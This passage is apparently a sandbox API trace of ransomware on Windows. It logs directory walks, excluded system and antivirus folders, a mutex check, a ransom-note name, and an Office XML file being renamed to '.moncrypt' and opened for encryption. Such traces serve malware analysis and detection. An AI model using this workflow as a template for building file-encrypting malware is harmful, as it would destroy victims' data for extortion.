nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@卜U企@\x18?T\x18\x81")) returned 0xffffffff [0048.190] GetLastError () returned 0x2 [0048.190] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0048.191] GetLastError () returned 0x2 [0048.191] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@呤U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.191] GetLastError () returned 0x2 [0048.191] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@卜U企@\x18?T\x18\x97")) returned 0xffffffff [0048.192] GetLastError () returned 0x2 [0048.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.192] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.192] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.192] GlobalUnlock (hMem=0x44000c) returned 0 [0048.192] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.192] GlobalLock (hMem=0x440004) returned 0x557870 [0048.192] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.192] GlobalUnlock (hMem=0x44000c) returned 0 [0048.192] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.192] GlobalUnlock (hMem=0x440004) returned 0 [0048.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.192] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.192] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.193] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.193] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.193] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a80, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.193] GlobalLock (hMem=0x440004) returned 0x555860 [0048.193] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.193] GlobalUnlock (hMem=0x440004) returned 0 [0048.193] GlobalLock (hMem=0x440004) returned 0x555860 [0048.193] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.193] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.193] GlobalUnlock (hMem=0x440004) returned 0 [0048.193] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.193] GlobalUnlock (hMem=0x44000c) returned 0 [0048.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.195] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.195] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.195] GlobalUnlock (hMem=0x44000c) returned 0 [0048.195] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.195] GlobalLock (hMem=0x440004) returned 0x557870 [0048.195] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.195] GlobalUnlock (hMem=0x44000c) returned 0 [0048.195] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.195] GlobalUnlock (hMem=0x440004) returned 0 [0048.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.195] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.195] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0048.195] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.195] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.195] GlobalLock (hMem=0x440004) returned 0x555860 [0048.195] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.195] GlobalUnlock (hMem=0x440004) returned 0 [0048.195] GlobalLock (hMem=0x440004) returned 0x555860 [0048.195] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.195] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.196] GlobalUnlock (hMem=0x440004) returned 0 [0048.196] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.196] GlobalUnlock (hMem=0x44000c) returned 0 [0048.196] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.196] CharLowerBuffW (in: lpsz="Office32WW.XML", cchLength=0xe | out: lpsz="office32ww.xml") returned 0xe [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", cchWideChar=106, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML\x18", lpUsedDefaultChar=0x0) returned 106 [0048.196] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML\x18", lpUsedDefaultChar=0x0) returned 4 [0048.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.197] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.198] CloseHandle (hObject=0x190) returned 1 [0048.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\я")) returned 1 [0048.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0x54e280 [0048.199] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.199] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.199] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", dwFileAttributes=0x20) returned 1 [0048.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.moncrypt")) returned 1 [0048.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.200] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.200] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x10b2 [0048.200] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.200] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x10b2, lpOverlapped=0x0) returned 1 [0048.202] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.202] GlobalLock (hMem=0x440004) returned 0x557870 [0048.202] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.202] GlobalUnlock (hMem=0x44000c) returned 0 [0048.202] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.202] GlobalUnlock (hMem=0x440004) returned 0 [0048.202] GlobalLock (hMem=0x440004) returned 0x555860 [0048.202] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.202] GlobalUnlock (hMem=0x440004) returned 0 [0048.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 